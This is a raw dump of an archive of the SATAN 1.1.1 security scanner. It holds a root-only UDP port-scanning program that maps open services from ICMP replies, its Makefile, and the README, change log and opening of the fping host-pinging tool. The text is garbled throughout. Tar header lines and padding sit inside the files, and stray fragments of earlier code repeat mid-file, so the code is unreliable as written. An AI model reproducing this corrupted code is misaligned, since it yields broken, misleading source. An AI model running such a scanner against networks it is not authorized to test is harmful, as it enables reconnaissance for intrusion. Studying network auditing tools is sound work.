  15809. .    *cp++ = c;
  15810. .    for (i = 0; i < 3 && isdigit(*s) && *s < '8'; i++)
  15811. ..s++;
  15812. .} else if ((ch = *s++) == 0) {../* at string terminator */
  15813. .    break;
  15814. .} else if (ch == 'b') {.../* \b becomes backspace */
  15815. .    *cp++ = '\b';
  15816. .} else if (ch == 'f') {.../* \f becomes formfeed */
  15817. .    *cp++ = '\f';
  15818. .} else if (ch == 'n') {.../* \n becomes newline */
  15819. .    *cp++ = '\n';
  15820. .} else if (ch == 'r') {.../* \r becomes carriage ret */
  15821. .    *cp++ = '\r';
  15822. .} else if (ch == 's') {.../* \s becomes blank */
  15823. .    *cp++ = ' ';
  15824. .} else if (ch == 't') {.../* \t becomes tab */
  15825. .    *cp++ = '\t';
  15826. .} else {..../* \any becomes any */
  15827. .    *cp++ = ch;
  15828. .}
  15829.     }
  15830.     write(sock, buf, cp - buf);
  15831. }
  15832. d_socket(sock, port)
  15833. int     sock;
  15834. int     port;
  15835. {
  15836.     BANNER_INFO *bp;
  15837.  
  15838.     socket_to_port[sock] = port;
  15839.     if (banner_info) {
  15840. .bp = banner_info + sock;
  15841. .bp->count = 0;
  15842. .bp->buf = 0;
  15843. .bp->flags = 0;
  15844.     }
  15845.     FD_SET(sock, &write_socket_mask);
  15846.     if (satan-1.1.1/src/port_scan/udp_scan.c................................................................   600 .   465 .   506 .      35627  5740245231  12447. .............................................................................................
  15847. .................................................................................................................................................................................................................................................................
  15848. ...... /*
  15849.   * udp-scan - determine available udp services
  15850.   * 
  15851.   * Author: Wietse Venema.
  15852.   */
  15853.  
  15854. #include <sys/types.h>
  15855. #include <sys/param.h>
  15856. #include <sys/socket.h>
  15857. #include <sys/time.h>
  15858.  
  15859. #include <netinet/in_systm.h>
  15860. #include <netinet/in.h>
  15861. #include <netinet/ip.h>
  15862. #include <netinet/ip_icmp.h>
  15863. #include <netinet/udp.h>
  15864.  
  15865. #include <errno.h>
  15866. #include <netdb.h>
  15867. #include <stdio.h>
  15868. #include <string.h>
  15869.  
  15870. extern int errno;
  15871.  
  15872. #ifndef __STDC__
  15873. extern char *strerror();
  15874. #endif
  15875.  
  15876. extern char *optarg;
  15877. extern int optind;
  15878.  
  15879. #define offsetof(t,m).(size_t)(&(((t *)0)->m))
  15880.  
  15881. #ifndef FD_SET
  15882. #include <sys/select.h>
  15883. #endif
  15884.  
  15885. #include "lib.h"
  15886.  
  15887. #define LOAD_LIMIT.100../* default max nr of open sockets */
  15888. #define AVG_MARGIN.10../* safety margin */
  15889.  
  15890.  /*
  15891.   * In order to protect ourselves against dead hosts, we first probe UDP port
  15892.   * 1. If we do not get an ICMP error (no listener or host unreachable) we
  15893.   * assume this host is dead. If we do get an ICMP error, we have an estimate
  15894.   * of the roundtrip time. The test port can be changed with the -p option.
  15895.   */
  15896. char   *test_port = "1";
  15897. int     test_portno;
  15898.  
  15899. #define YES     1
  15900. #define NO      0
  15901.  
  15902. int     verbose = 0;.../* default silent mode */
  15903. int     open_file_limit;../* max nr of open files */
  15904.  
  15905.  /*
  15906.   * We attempt to send as many probes per roundtrip time as network capacity
  15907.   * permits. With UDP we must do our own retransmission and congestion
  15908.   * handling.
  15909.   */
  15910. int     hard_limit = LOAD_LIMIT;./* max nr of open sockets */
  15911. int     soft_limit;.../* slowly-moving load limit */
  15912.  
  15913. struct timeval now;.../* global time after select() */
  15914. int     ports_busy;.../* number of open sockets */
  15915. int     want_err = 0;.../* show reachable/unreachable */
  15916. int     show_all = 0;.../* show all ports */
  15917.  
  15918.  /*
  15919.   * Information about ongoing probes is sorted by time of last transmission.
  15920.   */
  15921. struct port_info {
  15922.     RING    ring;.../* round-robin linkage */
  15923.     struct timeval last_probe;../* time of last probe */
  15924.     int     port;.../* port number */
  15925.     int     pkts;.../* number of packets sent */
  15926. };
  15927.  
  15928. struct port_info *port_info = 0;
  15929. RING    active_ports;.../* active sockets list head */
  15930. RING    dead_ports;.../* dead sockets list head */
  15931. struct port_info *find_port_info();./* retrieve port info */
  15932.  
  15933.  /*
  15934.   * Performance statistics. These are used to update the transmission window
  15935.   * size depending on transmission error rates.
  15936.   */
  15937. double  avg_irt = 0;.../* inter-reply arrival time */
  15938. double  avg_rtt = 0;.../* round-trip time */
  15939. double  avg_pkts = 1;.../* number of packets sent per reply */
  15940. int     probes_sent = 0;../* probes sent */
  15941. int     probes_done = 0;../* finished probes */
  15942. int     replies;.../* number of good single probes */
  15943. struct timeval last_reply;../* time of last reply */
  15944.  
  15945. int     send_sock;.../* send probes here */
  15946. int     icmp_sock;.../* read replies here */
  15947. fd_set  icmp_sock_mask;.../* select() read mask */
  15948. static struct sockaddr_in sin;
  15949.  
  15950.  /*
  15951.   * Helpers...
  15952.   */
  15953.  
  15954. #define time_since(t) (now.tv_sec - t.tv_sec + 1e-6 * (now.tv_usec - t.tv_usec))
  15955. #define sock_age(sp) time_since(sp->last_probe)
  15956. double  average();
  15957. struct port_info *add_port();
  15958.  
  15959. /* main - command-line interface */
  15960.  
  15961. main(argc, argv)
  15962. int     argc;
  15963. char   *argv[];
  15964. {
  15965.     int     c;
  15966.     struct protoent *pe;
  15967.     char  **ports;
  15968.  
  15969.     progname = argv[0];
  15970.     if (geteuid())
  15971. .error("This program needs root privileges");
  15972.  
  15973.     open_file_limit = open_limit();
  15974.  
  15975.     while ((c = getopt(argc, argv, "al:p:uUv")) != EOF) {
  15976. .switch (c) {
  15977. .case 'a':
  15978. .    show_all = 1;
  15979. .    break;
  15980. .case 'l':
  15981. .    if ((hard_limit = atoi(optarg)) <= 0)
  15982. ..usage("invalid load limit");
  15983. .    break;
  15984. .case 'p':
  15985. .    test_port = optarg;
  15986. .    break;
  15987. .case 'u':
  15988. .    want_err = EHOSTUNREACH;
  15989. .    break;
  15990. .case 'U':
  15991. .    want_err = ~EHOSTUNREACH;
  15992. .    break;
  15993. .case 'v':
  15994. .    verbose = 1;
  15995. .    break;
  15996. .default:
  15997. .    usage((char *) 0);
  15998. .    break;
  15999. .}
  16000.     }
  16001.     argc -= (optind - 1);
  16002.     argv += (optind - 1);
  16003.     if (argc < 3)
  16004. .usage("missing argument");
  16005.  
  16006.     if (hard_limit > open_file_limit - 10)
  16007. .hard_limit = open_file_limit - 10;
  16008.     soft_limit = hard_limit + 1;
  16009.     init_port_info();
  16010.  
  16011.     if ((pe = getprotobyname("icmp")) == 0)
  16012. .error("icmp: unknown protocol");
  16013.     if ((icmp_sock = socket(AF_INET, SOCK_RAW, pe->p_proto)) < 0)
  16014. .error("icmp socket: %m");
  16015.     FD_ZERO(&icmp_sock_mask);
  16016.     FD_SET(icmp_sock, &icmp_sock_mask);
  16017.  
  16018.     if ((send_sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  16019. .error("socket: %m");
  16020.  
  16021.     /*
  16022.      * First do a test probe to see if the host is up, and to establish the
  16023.      * round-trip time. This requires that the test port is not used.
  16024.      */
  16025.     memset((char *) &sin, 0, sizeof(sin));
  16026.     sin.sin_addr = find_addr(argv[1]);
  16027.     sin.sin_family = AF_INET;
  16028.  
  16029.     gettimeofday(&now, (struct timezone *) 0);
  16030.     last_reply = now;
  16031.  
  16032.     /*
  16033.      * Calibrate round-trip time and dead time.
  16034.      */
  16035.     for (;;) {
  16036. .scan_ports(test_port);
  16037. .while (ports_busy > 0)
  16038. .    monitor_ports();
  16039. .if (avg_rtt)
  16040. .    break;
  16041. .sleep(1);
  16042.     }
  16043.     scan_ports(test_port);
  16044.  
  16045.     /*
  16046.      * Scan those ports.
  16047.      */
  16048.     for (ports = argv + 2; *ports; ports++)
  16049. .scan_ports(*ports);
  16050.  
  16051.     /*
  16052.      * All ports probed, wait for replies to trickle back.
  16053.      */
  16054.     while (ports_busy > 0)
  16055. .monitor_ports();
  16056.  
  16057.     return (0);
  16058. }
  16059.  
  16060. /* usage - explain command syntax */
  16061.  
  16062. usage(why)
  16063. char   *why;
  16064. {
  16065.     if (why)
  16066. .remark(why);
  16067.     error("usage: %s [-apuU] [-l load] host ports...", progname);
  16068. }
  16069.  
  16070. /* scan_ports - scan ranges of ports */
  16071.  
  16072. scan_ports(service)
  16073. char   *service;
  16074. {
  16075.     char   *cp;
  16076.     int     min_port;
  16077.     int     max_port;
  16078.     int     port;
  16079.     struct port_info *sp;
  16080.  
  16081.     if (service == test_port)
  16082. .test_portno = atoi(test_port);
  16083.  
  16084.     /*
  16085.      * Translate service argument to range of port numbers.
  16086.      */
  16087.     if ((cp = strchr(service, '-')) != 0) {
  16088. .*cp++ = 0;
  16089. .min_port = (service[0] ? ntohs(find_port(service, "udp")) : 1);
  16090. .max_port = (cp[0] ? ntohs(find_port(cp, "udp")) : 65535);
  16091.     } else {
  16092. .min_port = max_port = ntohs(find_port(service, "udp"));
  16093.     }
  16094.  
  16095.     /*
  16096.      * Iterate over each port in the given range. Adjust the number of
  16097.      * simultaneous probes to the capacity of the network.
  16098.      */
  16099.     for (port = min_port; port <= max_port; port++) {
  16100. .sp = add_port(port);
  16101. .write_port(sp);
  16102. .monitor_ports();
  16103.     }
  16104. }
  16105.  
  16106. /* monitor_ports - watch for socket activity */
  16107.  
  16108. monitor_ports()
  16109. {
  16110.     do {
  16111. .struct port_info *sp;
  16112.  
  16113. ./*
  16114. . * When things become quiet, examine the port that we haven't looked
  16115. . * at for the longest period of time.
  16116. . */
  16117. .receive_answers();
  16118.  
  16119. .if (ports_busy == 0)
  16120. .    return;
  16121.  
  16122. .sp = (struct port_info *) ring_succ(&active_ports);
  16123. .if (sp->pkts > avg_pkts * AVG_MARGIN) {
  16124. .    report_and_drop_port(sp, 0);
  16125. .} else
  16126.  
  16127. .    /*
  16128. .     * Strategy depends on whether transit times dominate (probe
  16129. .     * multiple ports in parallel, retransmit when no reply was
  16130. .     * received for at least one round-trip period) or by dead time
  16131. .     * (probe one port at a time, retransmit when no reply was
  16132. .     * received for some fraction of the inter-reply period).
  16133. .     */
  16134. .    if (sock_age(sp) > (avg_rtt == 0 ? 1 :
  16135. ....2 * avg_rtt < avg_irt ? avg_irt / 4 :
  16136. ....1.5 * avg_rtt)) {
  16137. .    write_port(sp);
  16138. .}
  16139.  
  16140. ./*
  16141. . * When all ports being probed seem to be active, send a test probe
  16142. . * to see if the host is still alive.
  16143. . */
  16144. .if (time_since(last_reply) > 3 * (avg_rtt == 0 ? 1 :
  16145. ....      avg_rtt < avg_irt ? avg_irt : avg_rtt)
  16146. .    && find_port_info(test_portno) == 0) {
  16147. .    last_reply = now;
  16148. .    write_port(add_port(test_portno));
  16149. .}
  16150.     } while (ports_busy && (ports_busy >= hard_limit
  16151. ...    || ports_busy >= probes_done
  16152. ...    || ports_busy >= soft_limit));
  16153. }
  16154.  
  16155. /* receive_answers - receive reactions to probes */
  16156.  
  16157. receive_answers()
  16158. {
  16159.     fd_set  read_mask;
  16160.     struct timeval waitsome;
  16161.     double  delay;
  16162.     int     answers;
  16163.  
  16164.     /*
  16165.      * The timeout is less than the inter-reply arrival time or we would not
  16166.      * be able to increase the load.
  16167.      */
  16168.     delay = (2 * avg_rtt < avg_irt ? avg_irt / 3 : avg_rtt / (1 + ports_busy * 4));
  16169.     waitsome.tv_sec = delay;
  16170.     waitsome.tv_usec = (delay - waitsome.tv_sec) * 1000000;
  16171.  
  16172.     read_mask = icmp_sock_mask;
  16173.     if ((answers = select(icmp_sock + 1, &read_mask, (fd_set *) 0, (fd_set *) 0,
  16174. ...  &waitsome)) < 0)
  16175. .error("select: %m");
  16176.  
  16177.     gettimeofday(&now, (struct timezone *) 0);
  16178.  
  16179.     /*
  16180.      * For each answer that we receive without retransmissions, update the
  16181.      * average roundtrip time.
  16182.      */
  16183.     if (answers > 0) {
  16184. .if (FD_ISSET(icmp_sock, &read_mask))
  16185. .    receive_icmp(icmp_sock);
  16186.     }
  16187.     return (answers);
  16188. }
  16189.  
  16190. /* receive_icmp - receive and decode ICMP message */
  16191.  
  16192. receive_icmp(sock)
  16193. int     sock;
  16194. {
  16195.     union {
  16196. .char    chars[BUFSIZ];
  16197. .struct ip ip;
  16198.     }       buf;
  16199.     int     data_len;
  16200.     int     hdr_len;
  16201.     struct ip *ip;
  16202.     struct icmp *icmp;
  16203.     struct udphdr *udp;
  16204.     struct port_info *sp;
  16205.  
  16206.     if ((data_len = recv(sock, (char *) &buf, sizeof(buf), 0)) < 0) {
  16207. .error("error: recv: %m");
  16208. .return;
  16209.     }
  16210.  
  16211.     /*
  16212.      * Extract the IP header.
  16213.      */
  16214.     ip = &buf.ip;
  16215.     if (ip->ip_p != IPPROTO_ICMP) {
  16216. .error("error: not ICMP proto (%d)", ip->ip_p);
  16217. .return;
  16218.     }
  16219.  
  16220.     /*
  16221.      * Extract the IP payload.
  16222.      */
  16223.     hdr_len = ip->ip_hl << 2;
  16224.     if (data_len - hdr_len < ICMP_MINLEN) {
  16225. .remark("short ICMP packet (%d bytes)", data_len);
  16226. .return;
  16227.     }
  16228.     icmp = (struct icmp *) ((char *) ip + hdr_len);
  16229.     data_len -= hdr_len;
  16230.  
  16231.     if (icmp->icmp_type != ICMP_UNREACH)
  16232. .return;
  16233.  
  16234.     /*
  16235.      * Extract the offending IP header.
  16236.      */
  16237.     if (data_len < offsetof(struct icmp, icmp_ip) + sizeof(icmp->icmp_ip)) {
  16238. .remark("short IP header in ICMP");
  16239. .return;
  16240.     }
  16241.     ip = &(icmp->icmp_ip);
  16242.     if (ip->ip_p != IPPROTO_UDP)
  16243. .return;
  16244.     if (ip->ip_dst.s_addr != sin.sin_addr.s_addr)
  16245. .return;
  16246.  
  16247.     /*
  16248.      * Extract the offending UDP header.
  16249.      */
  16250.     hdr_len = ip->ip_hl << 2;
  16251.     udp = (struct udphdr *) ((char *) ip + hdr_len);
  16252.     data_len -= hdr_len;
  16253.     if (data_len < sizeof(struct udphdr)) {
  16254. .remark("short UDP header in ICMP");
  16255. .return;
  16256.     }
  16257.  
  16258.     /*
  16259.      * Process ICMP subcodes.
  16260.      */
  16261.     switch (icmp->icmp_code) {
  16262.     case ICMP_UNREACH_NET:
  16263. .error("error: network unreachable");
  16264. ./* NOTREACHED */
  16265.     case ICMP_UNREACH_HOST:
  16266. .if (sp = find_port_info(ntohs(udp->uh_dport)))
  16267. .    process_reply(sp, EHOSTUNREACH);
  16268. .break;
  16269.     case ICMP_UNREACH_PROTOCOL:
  16270. .error("error: protocol unreachable");
  16271. ./* NOTREACHED */
  16272.     case ICMP_UNREACH_PORT:
  16273. .if (sp = find_port_info(ntohs(udp->uh_dport)))
  16274. .    process_reply(sp, ECONNREFUSED);
  16275. .break;
  16276.     }
  16277. }
  16278.  
  16279. /* process_reply - process reply */
  16280.  
  16281. process_reply(sp, err)
  16282. struct port_info *sp;
  16283. int     err;
  16284. {
  16285.     double  age = sock_age(sp);
  16286.     int     pkts = sp->pkts;
  16287.     double  irt = time_since(last_reply);
  16288.  
  16289.     /*
  16290.      * Don't believe everything.
  16291.      */
  16292.     if (age > 5) {
  16293. .age = 5;
  16294.     } else if (age < 0) {
  16295. .age = 1;
  16296.     }
  16297.     if (irt > 5) {
  16298. .irt = 5;
  16299.     } else if (irt < 0) {
  16300. .irt = 1;
  16301.     }
  16302.  
  16303.     /*
  16304.      * We jump some hoops for calibration purposes. First we estimate the
  16305.      * round-trip time: we use this to decide when to retransmit when network
  16306.      * transit time dominates.
  16307.      * 
  16308.      * Next thing to do is to estimate the inter-reply time, in case the sender
  16309.      * has a "dead time" for ICMP replies; I have seen this happen with some
  16310.      * Cisco routers and with Solaris 2.4. The first reply will come fast;
  16311.      * subsequent probes will be ignored for a period of up to one second.
  16312.      * When this happens the retransmission period should be based on the
  16313.      * inter-reply time and not on the average round-trip time.
  16314.      */
  16315.     last_reply = now;
  16316.     replies++;
  16317.     if (pkts == 1)
  16318. .avg_rtt = (avg_rtt == 0 ? age :../* adopt initial rtt */
  16319. ..   average(age, avg_rtt));./* normal processing */
  16320.     avg_irt = (avg_irt == 0 ? 1 :../* prepare for irt
  16321. ...... * calibration */
  16322. .       avg_irt == 1 ? irt :../* adopt initial irt */
  16323. .       average(irt, avg_irt));../* normal processing */
  16324.     avg_pkts = average((double) pkts, avg_pkts);
  16325.     if (verbose)
  16326. .printf("%d:age %.3f irt %.3f pkt %d ports %2d soft %2d done %2d avrtt %.3f avpkt %.3f avirt %.3f\n",
  16327. .       sp->port, age, irt, pkts,
  16328. .       ports_busy, soft_limit,
  16329. .       probes_done, avg_rtt, avg_pkts, avg_irt);
  16330.     report_and_drop_port(sp, err);
  16331. }
  16332.  
  16333. /* report_and_drop_port - report what we know about this service */
  16334.  
  16335. report_and_drop_port(sp, err)
  16336. struct port_info *sp;
  16337. int     err;
  16338. {
  16339.     struct servent *se;
  16340.  
  16341.     if (probes_done == 0) {
  16342. .if (err == 0)
  16343. .    error("are we talking to a dead host or network?");
  16344.     } else if (show_all || want_err == err || (want_err < 0 && want_err != ~err)) {
  16345. .printf("%d:%s:", sp->port,
  16346. .       (se = getservbyport(htons(sp->port), "udp")) ?
  16347. .       se->s_name : "UNKNOWN");
  16348. .if (err && show_all)
  16349. .    printf("%s", strerror(err));
  16350. .printf("\n");
  16351. .fflush(stdout);
  16352.     }
  16353.     drop_port(sp);
  16354. }
  16355.  
  16356. /* average - quick-rise, slow-decay moving average */
  16357.  
  16358. double  average(new, old)
  16359. double  new;
  16360. double  old;
  16361. {
  16362.     if (new > old) {..../* quick rise */
  16363. .return ((new + old) / 2);
  16364.     } else {...../* slow decay */
  16365. .return (0.1 * new + 0.9 * old);
  16366.     }
  16367. }
  16368.  
  16369. /* add_port - say this port is being probed */
  16370.  
  16371. struct port_info *add_port(port)
  16372. int     port;
  16373. {
  16374.     struct port_info *sp = (struct port_info *) ring_succ(&dead_ports);
  16375.  
  16376.     ring_detach((RING *) sp);
  16377.     sp->port = port;
  16378.     sp->pkts = 0;
  16379.     ports_busy++;
  16380.     ring_append(&active_ports, (RING *) sp);
  16381.     return (sp);
  16382. }
  16383.  
  16384. /* write_port - write to port, update statistics */
  16385.  
  16386. write_port(sp)
  16387. struct port_info *sp;
  16388. {
  16389.     char    ch = 0;
  16390.  
  16391.     ring_detach((RING *) sp);
  16392.     sin.sin_port = htons(sp->port);
  16393.     sp->last_probe = now;
  16394.     sendto(send_sock, &ch, 1, 0, (struct sockaddr *) & sin, sizeof(sin));
  16395.     probes_sent++;
  16396.     sp->pkts++;
  16397.     ring_prepend(&active_ports, (RING *) sp);
  16398.  
  16399.     /*
  16400.      * Reduce the sending window when the first retransmission happens. Back
  16401.      * off when retransmissions dominate. Occasional retransmissons will keep
  16402.      * the load unchanged.
  16403.      */
  16404.     if (sp->pkts > 1) {
  16405. .replies--;
  16406. .if (soft_limit > hard_limit) {
  16407. .    soft_limit = (ports_busy + 1) / 2;
  16408. .} else if (replies < 0 && avg_irt) {
  16409. .    soft_limit = 0.5 + 0.5 * (soft_limit + avg_rtt / avg_irt);
  16410. .    replies = soft_limit / 2;
  16411. .}
  16412.     }
  16413. }
  16414.  
  16415. /* drop_port - release port info, update statistics */
  16416.  
  16417. drop_port(sp)
  16418. struct port_info *sp;
  16419. {
  16420.     ports_busy--;
  16421.     probes_done++;
  16422.     ring_detach((RING *) sp);
  16423.     ring_append(&dead_ports, (RING *) sp);
  16424.  
  16425.     /*
  16426.      * Increase the load when a sufficient number of probes succeeded.
  16427.      * Occasional retransmissons will keep the load unchanged.
  16428.      */
  16429.     if (replies > soft_limit) {
  16430. .replies = soft_limit / 2;
  16431. .if (soft_limit < hard_limit)
  16432. .    soft_limit++;
  16433.     }
  16434. }
  16435.  
  16436. /* init_port_info - initialize port info pool */
  16437.  
  16438. init_port_info()
  16439. {
  16440.     struct port_info *sp;
  16441.  
  16442.     port_info = (struct port_info *) mymalloc(hard_limit * sizeof(*port_info));
  16443.     ring_init(&active_ports);
  16444.     ring_init(&dead_ports);
  16445.     for (sp = port_info; sp < port_info + hard_limit; sp++)
  16446. .ring_append(&dead_ports, (RING *) sp);
  16447. }
  16448.  
  16449. /* find_port_info - lookup port info */
  16450.  
  16451. struct port_info *find_port_info(port)
  16452. int     port;
  16453. {
  16454.     struct port_info *sp;
  16455.  
  16456.     for (sp = (struct port_info *) ring_succ(&active_ports);
  16457. . sp != (struct port_info *) & active_ports;
  16458. . sp = (struct port_info *) ring_succ((RING *) sp))
  16459. .if (sp->port == port)
  16460. .    return (sp);
  16461.     return (0);
  16462. }
  16463.  with some
  16464.      * Cisco routers and with Solaris 2.4. The first reply will come fast;
  16465.      * subsequent psatan-1.1.1/src/port_scan/Makefile..................................................................   600 .   465 .   506 .       1623  5741307242  12116. ..................................................................................
  16466. .................................................................................................................................................................................................................................................................
  16467. .................SHELL.= /bin/sh
  16468. BIN.= ../../bin
  16469. TCP_SRC.= tcp_scan.c find_addr.c mallocs.c non_blocking.c \
  16470. ..print_data.c open_limit.c error.c strerror.c
  16471. TCP_OBJ.= tcp_scan.o find_addr.o mallocs.o non_blocking.o \
  16472. ..print_data.o open_limit.o error.o strerror.o
  16473. UDP_SRC.= udp_scan.c find_addr.c mallocs.c open_limit.c error.c ring.c \
  16474. ..strerror.c
  16475. UDP_OBJ.= udp_scan.o find_addr.o mallocs.o open_limit.o error.o ring.o \
  16476. ..strerror.o
  16477. CFLAGS.= -O $(XFLAGS)
  16478. FILES.= README tcp_scan.1 error.c find_addr.c lib.h makefile mallocs.c \
  16479. .non_blocking.c open_limit.c print_data.c tcp_scan.c udp_scan.c ring.c \
  16480. .strerror.o
  16481. PROGS.= $(BIN)/tcp_scan $(BIN)/udp_scan
  16482. #LIBS.= -lsocket -lnsl
  16483.  
  16484. all: $(PROGS)
  16485.  
  16486. $(BIN)/tcp_scan: $(TCP_OBJ)
  16487. .$(CC) $(CFLAGS) -o $@ $(TCP_OBJ) $(LIBS)
  16488.  
  16489. $(BIN)/udp_scan: $(UDP_OBJ)
  16490. .$(CC) $(CFLAGS) -o $@ $(UDP_OBJ) $(LIBS)
  16491.  
  16492. shar:
  16493. .@shar $(FILES)
  16494.  
  16495. lint:
  16496. .lint $(TCP_SRC)
  16497. .lint $(UDP_SRC)
  16498.  
  16499. clean:
  16500. .rm -f *.o $(PROGS) core
  16501. es_done++;
  16502.     ring_detach((RING *) sp);
  16503.     ring_append(&dead_ports, (RING *) sp);
  16504.  
  16505.     /*
  16506.      * Increase tsatan-1.1.1/src/fping/..............................................................................   700 .   465 .   506 .          0  5742521555   7506. ....................................................................................
  16507. .................................................................................................................................................................................................................................................................
  16508. ...............satan-1.1.1/src/fping/README........................................................................   600 .   465 .   506 .       4436  5731724667  10473. ......................................................................................
  16509. .................................................................................................................................................................................................................................................................
  16510. .............
  16511.         fping - A tool to quickly ping N number of hosts to determine
  16512.         their reachability without flooding the network.
  16513.  
  16514.              Roland J. Schemers III - Stanford University
  16515.                    schemers@Slapshot.Stanford.EDU
  16516.  
  16517.       fping is a ping(1) like program which uses the Internet Control
  16518.       Message Protocol (ICMP) echo request to determine if a host is
  16519.       up. fping is different from ping in that you can specify any
  16520.       number of hosts on the command line, or specify a file containing
  16521.       the lists of hosts to ping. Instead of trying one host until it
  16522.       timeouts or replies, fping will send out a ping packet and move
  16523.       on to the next host in a round-robin fashion. If a host replies,
  16524.       it is noted and removed from the list of hosts to check. If a host
  16525.       does not respond within a certain time limit and/or retry limit it 
  16526.       will be considered unreachable. 
  16527.  
  16528. Site
  16529.       Stanford University has a large TCP/IP network with over 12,000 
  16530.       assigned IP addresses and over 100 IP subnets.
  16531.  
  16532. Problem and Issues
  16533.  
  16534.       With a large a number of IP addresses in use, its becomes more and
  16535.       more time consuming to check on which IP addresses are actively
  16536.       in use, and which critical machines (routers, bridges, servers, etc)
  16537.       are reachable. One example is we have a program which goes through
  16538.       all of our routers arp caches looking for IP addresses that are in 
  16539.       use. After finding a list of IP addresses that aren't in any arp
  16540.       caches fping can then be used to see if these IP addresses really
  16541.       aren't being used, or are just behind the routers. Checking 2500
  16542.       hosts (99% of which are unreachable) via ping can take hours.
  16543.        
  16544. Solution
  16545.       
  16546.        fping was written to solve the problem of pinging N number of hosts
  16547.        in an efficient manner. By sending out pings in a round-robin fashion
  16548.        and checking on responses as they come in at random, a large number of 
  16549.        hosts can be checked at once. Checking 2500 hosts (5 packets per host, 
  16550.        10 msec between ping packets) takes under 3 minutes. Also, using fping
  16551.        to check 30 routers that are currently reachable takes about 420
  16552.        milliseconds (elapsed real time).
  16553.  
  16554.        Unlike ping, fping is meant to be used in scripts and its
  16555.        output is easy to parse.
  16556. ge :../* adopt initial rtt */
  16557. ..   average(age, avg_rtt));./* normal processing */
  16558.     avg_irt = (avg_irt == 0 ? 1 :../* prepare for irt
  16559. ...... * calibration */
  16560. .       avg_irt == 1 ? irt :../* adopt initial irt */
  16561. .       avesatan-1.1.1/src/fping/CHANGES.......................................................................   600 .   465 .   506 .       5610  5731724667  10601. ..........................................................................................
  16562. .................................................................................................................................................................................................................................................................
  16563. .........* Revision 1.20  1993/02/23  00:16:38  schemers
  16564.  
  16565. fixed syntax error (should have compiled before checking in...)
  16566.  
  16567. * Revision 1.19  1993/02/23  00:15:15  schemers
  16568.  
  16569. turned off printing of "is alive" when -a is specified.
  16570.  
  16571. * Revision 1.18  1992/07/28  15:16:44  schemers
  16572.  
  16573. added a fflush(stdout) call before the summary is sent to stderr, so
  16574. everything shows up in the right order.
  16575.  
  16576. * Revision 1.17  1992/07/23  03:29:42  schemers
  16577. * Revision 1.16  1992/07/22  19:24:37  schemers
  16578.  
  16579. Fixed declaration of timeval_diff. Didn't notice the problem because
  16580. I use 'cc' in stead of gcc under Ultrix. Time to switch? :-)
  16581.  
  16582. Modified file reaing so it would skip blank lines or lines starting
  16583. with a '#'. Now you can do something like:
  16584.  
  16585. fping -ad < /etc/hosts
  16586.  
  16587. * Revision 1.15  1992/07/21  17:07:18  schemers
  16588.  
  16589. Put in sanity checks so only root can specify "dangerous" options.
  16590. Changed usage to show switchs in alphabetical order.
  16591. * Revision 1.14  1992/07/21  16:40:52  schemers
  16592. * Revision 1.13  1992/07/17  21:02:17  schemers
  16593.  
  16594. Changed the default timeout to 2500 msec, and retry to 3. This was
  16595. due to suggestions from people with slow (WAN) networks. The default
  16596. 1 sec timeout was too fast.
  16597.  
  16598.  
  16599. Added '-e' option for showing elapsed (round-trip) times on pakets, and
  16600. modified the -s option to include min, max, and average round-trip times,
  16601. and over all elapsed time.
  16602.  
  16603. Modified action taken when a error is returned from sendto. The action
  16604. taken now considers the host unreachable and prints the hostname 
  16605. followed by the errno message. The program will not exit and will continue
  16606. to try other hosts.
  16607.  
  16608. * Revision 1.12  1992/07/17  16:38:54  schemers
  16609. * Revision 1.11  1992/07/17  16:28:38  schemers
  16610.  
  16611.  move socket create call so I could do a setuid(getuid()) before the
  16612.  fopen call is made. Once the socket is created root privs aren't needed
  16613.  to send stuff out on it.
  16614.  
  16615.  moved num_timeout counter. It really was for debug purposes and didn't
  16616.  make sense to the general public :-) Now it is the number of timeouts
  16617.  (pings that didn't get received with the time limit).
  16618.  
  16619.  
  16620. * Revision 1.10 1992/07/16  16:24:38  schemers
  16621. * Revision 1.9  1992/07/16  16:00:04  schemers
  16622. * Revision 1.8  1992/07/16  05:44:41  schemers
  16623.  
  16624. Added _NO_PROTO stuff for older compilers, and _POSIX_SOURCE
  16625. for unistd.h, and _POSIX_SOURCE for stdlib.h. Also added
  16626. check for __cplusplus.
  16627.  
  16628. Now compiles ok under Ultrix 3.1, and Sun4 using cc. Also compiled
  16629. ok using g++ 2.2.2.
  16630.  
  16631. Changed '-a' and '-u' flags to be mutually exclusive (makes sense, since
  16632. specifiying both '-a' and '-u' is the same as not specifiying anything.
  16633. Since '-a' and '-u' are mutually exclusive, these options now only print
  16634. the hostname, and not the 'is alive' or 'is unreachable'  messages.
  16635. This makes it much easier to do stuff like:
  16636.  
  16637. #!/usr/local/bin/perl
  16638. $hosts_to_backup=`cat /etc/hosts.backup|fping -a`;
  16639.  
  16640. Since you don't have to strip off the 'is alive' messages.
  16641.  
  16642. Changed usage to and stats to print to stderr instead of stdout.
  16643.  
  16644.  
  16645. == 0 ? 1 :../* prepare for irt
  16646. ...... * calibration */
  16647. .       avg_irt == 1 ? irt :../* adopt initial irt */
  16648. .       avesatan-1.1.1/src/fping/fping.c.......................................................................   600 .   465 .   506 .      55310  5740012232  11051. ..........................................................................................
  16649. .................................................................................................................................................................................................................................................................
  16650. ........./* 
  16651.  * fping: fast-ping, file-ping
  16652.  *
  16653.  * Used to send out ping requests to a list of hosts in a round robin
  16654.  * fashion. 
  16655.  *
  16656.  *
  16657.  *   fping has been compiled tested under the following systems:
  16658.  *
  16659.  *  Ultrix 4.2a DECstation
  16660.  *  Ultrix 3.1 VAX
  16661.  *  NeXT 2.1
  16662.  *  SunOS 4.1.1 Sparcstation (gcc and cc)
  16663.  *  AIX 3.1 RISC System/6000
  16664.  *
  16665.  */
  16666.  
  16667. /* 
  16668.  ***************************************************
  16669.  *
  16670.  * Standard RCS Header information (see co(1))
  16671.  *
  16672.  * $Author: schemers $
  16673.  *
  16674.  * $Date: 1993/02/23 00:16:38 $
  16675.  *
  16676.  * $Revision: 1.20 $
  16677.  *
  16678.  * $Locker: schemers $
  16679.  *
  16680.  * $Source: /networking/src/fping/RCS/fping.c,v $
  16681.  *
  16682.  * $State: Exp $
  16683.  *
  16684.  * $Log: fping.c,v $
  16685.  * Revision 1.20  1993/02/23  00:16:38  schemers
  16686.  * fixed syntax error (should have compiled before checking in...)
  16687.  *
  16688.  * Revision 1.19  1993/02/23  00:15:15  schemers
  16689.  * turned off printing of "is alive" when -a is specified.
  16690.  *
  16691.  * Revision 1.18  1992/07/28  15:16:44  schemers
  16692.  * added a fflush(stdout) call before the summary is sent to stderr, so
